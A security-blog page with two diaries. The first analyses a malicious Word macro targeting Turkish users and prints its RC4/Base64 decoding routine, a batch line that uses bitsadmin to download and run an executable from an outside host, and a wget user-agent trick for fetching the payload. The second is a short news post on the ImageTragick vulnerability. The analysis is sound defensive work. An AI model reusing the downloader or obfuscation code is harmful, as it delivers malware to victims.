Microsoft BITS Used to Download Payloads

Published: 2016-05-05
Last Updated: 2016-05-06 05:04:58 UTC
by Xavier Mertens (Version: 1)

A few day ago, I found an interesting malicious Word document. First of all, the file has a very low score on VT: 2/56 (analysis is available here). The document is a classic one: Once opened, it asks the victim to enable macro execution if not yet enabled. The document targets Turkish people:

The OLE document contains of course a malicious macro:

$ oledump.py b2a9d203bb135b54319a9e5cafc43824
  1:       113 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      9398 '1Table'
  5:    193456 'Data'
  6:       448 'Macros/PROJECT'
  7:        41 'Macros/PROJECTwm'
  8: M   18073 'Macros/VBA/ThisDocument'
  9:      3584 'Macros/VBA/_VBA_PROJECT'
 10:       522 'Macros/VBA/dir'
 11:      4096 'WordDocument'

The analysis of the macro is interesting. The file executed by a Shell() invocation is encrypted using RC4 and encoded in Base64:

ushdushdu = FlushCells("776129CAECFBE48F01DAC78C40B872BB1A005253F63151B2B093CA272A3C6DE382BE1AAA6586BDBC2E6579E5AF8A0BDE5D798979972BD193590479E79DBC27BD7B085F20B0304720326D6426885FD2B14A84D6A55FADF25589DF1D2B8DC244B62008AB4DB9BBDBE715C1F1EF29AFCDB1DA4DEA5F3020B871E02BA9CD4DE638D7FBB903A1D95A11F3F7816FE6BB237F3688217CBB8C3C3351C8BA766C054B4F7D0F35C35B074241D93F74F2A02BCD79251D3511CC770CF503A2409FF5C9944ADE53B2685A0968FB466874AF8929C7A82827726278EC4B4076AA84AC430150AFB20C3A4DC94B264C2382DDA6A9F70C17D8618B0A0759340A4D840D2A222612125892136E316DF67ED314739477463BF101C06454BCA61F9B45BA7A82CDD6FB24A3A678C3A1E804955CAB28A3036D0C86B2A38FDDC270B538C2394982AF2B206507927DA47885E53BD9B4A0E196EA4B05FE")

shdhushuhsd = Base64DecodeString(ushdushdu)

The function FlushCells is used to decode this long string. The string is split by sets of two characters, converted into decimal, then the string is unciphered using the key provided in the macro.

Public Function FlushCells(text)
    Dim sbox(256) As Integer
    Dim key(256) As Integer
    Dim Text2 As String
    Dim temp As Integer
    Dim a As Long
    Dim i As Integer
    Dim j As Integer
    Dim k As Long
    Dim w As Integer
    Dim cipherby As Integer
    Dim cipher As String
    For w = 1 To Len(text) Step 2
        Text2 = Text2 & Chr(Dec(Mid$(text, w, 2)))
    Next
    i = 0
    j = 0
    jkddd = skdjr
    encryptkey = "Trafalgar picnicking widower insights competitors leprechaun windmilling primp dueling campers"
    RC4Initialize encryptkey, key, sbox
    For a = 1 To Len(Text2)
        jkddd = jkddd + " "
        i = (i + 1) Mod 256
        j = (j + sbox(i)) Mod 256
        temp = sbox(i)
        sbox(i) = sbox(j)
        sbox(j) = temp
        k = sbox((sbox(i) + sbox(j)) Mod 256)
        cipherby = Asc(Mid$(Text2, a, 1)) Xor k
        cipher = cipher & Chr(cipherby)
    Next
    FlushCells = cipher
End Function

Once decoded a file is created in %APPDATA%\Roaming\file.bat. It contains this simple code:

ping 127.0.0.1 -n 3>null&bitsadmin /transfer myjob /download /priority high http://ads.metrofamilyzine.com/ef9a0c52/7e4ccb5.bin "%APPDATA%\27dgdte72.exe">nul&start %APPDATA%\27dgdte72.exe

This is the interesting part. Instead of using a classic Microsoft.XMLHTTP object, the macro download the payload via the tool Bitsadmin. Bitsadmin is a command line tool used to create download or upload jobs and monitor their progress. It is available by default since Windows 7 or Windows Server 2008 R2. "BITS" stands for "Background Intelligent Transfer Service".

Bitsadmin uses its own specific User-Agent that is checked by the compromised website to prevent direct downloads. You must use this one to access the payload: "Microsoft BITS/7.5”:

$ wget --user-agent="Microsoft BITS/7.5" http://ads.metrofamilyzine.com/ef9a0c52/7e4ccb5.bin

The analyze of the payload is here (VT score: 4/56).

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

Keywords: bitsadmin malware microsoft

7 comment(s)

ISC Stormcast For Thursday, May 5th 2016 http://isc.sans.edu/podcastdetail.html?id=4983

ImageTragick: Another Vulnerability, Another Nickname

Published: 2016-05-05
Last Updated: 2016-05-05 00:08:54 UTC
by Brad Duncan (Version: 1)

3 comment(s)

Introduction

On Tuesday 2016-05-03, we started seeing reports about a vulnerability for a cross-platform suite named ImageMagick [1, 2, 3]. This new vulnerability has been nicknamed "ImageTragick" and has its own website. Apparently, the vulnerability will be assigned to CVE-2016-3714. It wasn't yet on mitre.org's CVE site when I wrote this diary.

Johannes Ullrich already discussed this vulnerability in yesterday's ISC StormCast for 2016-05-04, but there's been more press about it. Should ImageTragick get even more coverage? Heck, I'll jump on the bandwagon!

Shown above: For a vulnerability logo so new, that wizard looks so old.

Details

Many servers hosting social media sites, blogs, and content management systems (CMS) rely on ImageMagick-based processing so they can resize images uploaded by end users. This has the potential to affect a great deal of servers. How many? The reports we've seen list the number of potential targets in vague terms, using words like large, huge, or countless.

ImageMagick has proposed a configuration solution, but no actual software patch or product update has been announced yet. We might see an official update from ImageMagick this coming weekend [4].

At least one proof of concept (PoC) exploit has already been developed [5]. Many expect to see CVE-2016–3714 exploits in the wild soon. This provides yet another opportunity for criminal groups to conduct automated scans searching for vulnerable servers world-wide. Such automated scans have been responsible for compromising thousands of websites in recent years running software like Wordpress, Joomla, and many other potentially vulnerable applications.

Meanwhile, social media reveals the same type of mixed reactions we've seen before when pairing a newly-announced vulnerability with a nickname.

Shown above: Discussion about using ImageTragick as a nickname on Twitter.

Final words

Do you have any comments on this current vulnerability? Has anyone seen CVE-2016–3714 being exploited in the wild yet? Any thoughts on the use of vulnerability nicknames and logos? If so, feel free to leave a comment.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

References:

[1] http://www.openwall.com/lists/oss-security/2016/05/03/18
[2] http://arstechnica.com/security/2016/05/easily-exploited-bug-exposes-huge-number-of-sites-to-code-execution-attacks/
[3] https://blog.sucuri.net/2016/05/imagemagick-remote-command-execution-vulnerability.html
[4] http://www.securityweek.com/attackers-exploit-critical-imagemagick-vulnerability
[5] https://twitter.com/Viss/status/727613890020806656

Keywords:

3 comment(s)